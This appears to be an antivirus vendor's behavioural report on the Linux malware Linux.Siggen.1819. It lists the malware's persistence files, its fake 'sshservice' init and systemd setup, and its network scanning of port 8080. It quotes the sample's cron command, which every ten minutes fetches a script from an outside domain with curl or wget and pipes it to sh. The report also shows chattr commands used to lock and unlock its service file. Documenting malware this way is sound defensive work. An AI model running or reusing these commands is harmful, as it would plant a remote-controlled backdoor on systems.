Linux.Siggen.1819

Technical Information

To ensure autorun and distribution:

Creates or modifies the following files:

/var/spool/cron/crontabs/root
/etc/cron.d/root
/etc/init.d/sshservice
/etc/init.d/.depend.boot
/etc/init.d/.depend.start
/etc/init.d/.depend.stop

Creates or modifies the following symlinks:

/etc/rc0.d/K01sshservice
/etc/rc1.d/K01sshservice
/etc/rc2.d/S01sshservice
/etc/rc3.d/S01sshservice
/etc/rc4.d/S01sshservice
/etc/rc5.d/S01sshservice
/etc/rc6.d/K01sshservice

Malicious functions:

Launches itself as a daemon

Manages services:

systemctl enable sshservice
/usr/sbin/update-rc.d sshservice defaults
systemctl daemon-reload

Launches processes:

/bin/sh -c echo \"*/10 * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh\" | crontab -
crontab -
<SAMPLE_FULL_PATH> /usr/sbin/sshd
/bin/sh -c chattr -i /usr/lib/systemd/system/sshservice.service
chattr -i /usr/lib/systemd/system/sshservice.service
/bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;chkconfig --add sshservice
/bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;systemctl enable sshservice
/sbin/insserv sshservice

Performs operations with the file system:

Modifies file access rights:

/etc/hosts
/var/spool/cron/crontabs/tmp.7AM107
/etc/cron.d/root
/var/spool/cron/root
/var/spool/cron/crontabs/root
/var/spool/cron/crontabs/tmp.8P4cwm
/var/spool/cron/crontabs/tmp.01pgM5

Creates or modifies files:

/etc/hosts
/var/spool/cron/crontabs/tmp.7AM107
/var/spool/cron/root
/tmp/.XImunix
/var/spool/cron/crontabs/tmp.8P4cwm
/var/spool/cron/crontabs/tmp.01pgM5
/usr/local/sbin/sshd
/usr/lib/systemd/system/sshservice.service

Network activity:

Establishes connection:

<LOCAL_DNS_SERVER>
17#.#8.123.25:9
[2########::f03c:91ff:fe70:2b9d]:9
19#.##8.0.0:8080
19#.##8.0.1:8080
19#.##8.0.2:8080
19#.##8.0.3:8080
19#.##8.0.4:8080
19#.##8.0.5:8080
19#.##8.0.99:8080
19#.##8.0.6:8080
19#.##8.0.7:8080
19#.##8.0.8:8080
19#.##8.0.9:8080
19#.##8.0.10:8080
19#.##8.0.11:8080
19#.##8.0.12:8080
19#.##8.0.13:8080
19#.##8.0.14:8080
19#.##8.0.15:8080
19#.##8.0.16:8080
19#.##8.0.17:8080
19#.##8.0.18:8080
19#.##8.0.19:8080
19#.##8.0.20:8080
19#.##8.0.21:8080
19#.##8.0.22:8080
19#.##8.0.23:8080
19#.##8.0.24:8080
19#.##8.0.25:8080
19#.##8.0.26:8080
19#.##8.0.27:8080
19#.##8.0.28:8080
19#.##8.0.29:8080
19#.##8.0.30:8080
19#.##8.0.31:8080
19#.##8.0.32:8080
19#.##8.0.33:8080
19#.##8.0.34:8080
19#.##8.0.35:8080
19#.##8.0.36:8080
19#.##8.0.37:8080
19#.##8.0.38:8080
19#.##8.0.39:8080
19#.##8.0.40:8080
19#.##8.0.41:8080
19#.##8.0.42:8080
19#.##8.0.43:8080
19#.##8.0.44:8080
19#.##8.0.45:8080
19#.##8.0.46:8080
19#.##8.0.47:8080
19#.##8.0.48:8080
19#.##8.0.49:8080
19#.##8.0.50:8080
19#.##8.0.51:8080
19#.##8.0.52:8080
19#.##8.0.53:8080
19#.##8.0.54:8080
19#.##8.0.55:8080
19#.##8.0.56:8080
19#.##8.0.57:8080
19#.##8.0.58:8080
19#.##8.0.59:8080
19#.##8.0.60:8080
19#.##8.0.61:8080
19#.##8.0.62:8080
19#.##8.0.63:8080
19#.##8.0.64:8080
19#.##8.0.65:8080
19#.##8.0.66:8080
19#.##8.0.67:8080
19#.##8.0.68:8080
19#.##8.0.69:8080
19#.##8.0.70:8080
19#.##8.0.71:8080
19#.##8.0.72:8080
19#.##8.0.73:8080
19#.##8.0.74:8080
19#.##8.0.75:8080
19#.##8.0.76:8080
19#.##8.0.77:8080
19#.##8.0.78:8080
19#.##8.0.79:8080
19#.##8.0.80:8080
19#.##8.0.81:8080
19#.##8.0.82:8080
19#.##8.0.83:8080
19#.##8.0.84:8080
19#.##8.0.85:8080
19#.##8.0.86:8080
19#.##8.0.87:8080
19#.##8.0.88:8080
19#.##8.0.89:8080
19#.##8.0.90:8080
19#.##8.0.92:8080
19#.##8.0.93:8080
19#.##8.0.94:8080
19#.##8.0.95:8080
19#.##8.0.96:8080
19#.##8.0.97:8080
19#.##8.0.98:8080
19#.##8.0.91:8080
19#.##8.0.100:8080
19#.##8.0.101:8080
19#.##8.0.102:8080
19#.##8.0.103:8080
19#.##8.0.104:8080
19#.##8.0.105:8080
19#.##8.0.106:8080
19#.##8.0.107:8080
19#.##8.0.108:8080
19#.##8.0.109:8080
19#.##8.0.110:8080
19#.##8.0.112:8080
19#.##8.0.113:8080
19#.##8.0.114:8080
19#.##8.0.115:8080
19#.##8.0.116:8080
19#.##8.0.111:8080
19#.##8.0.117:8080
19#.##8.0.119:8080

HTTP GET requests:

id##t.me/

DNS ASK:

id##t.me

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations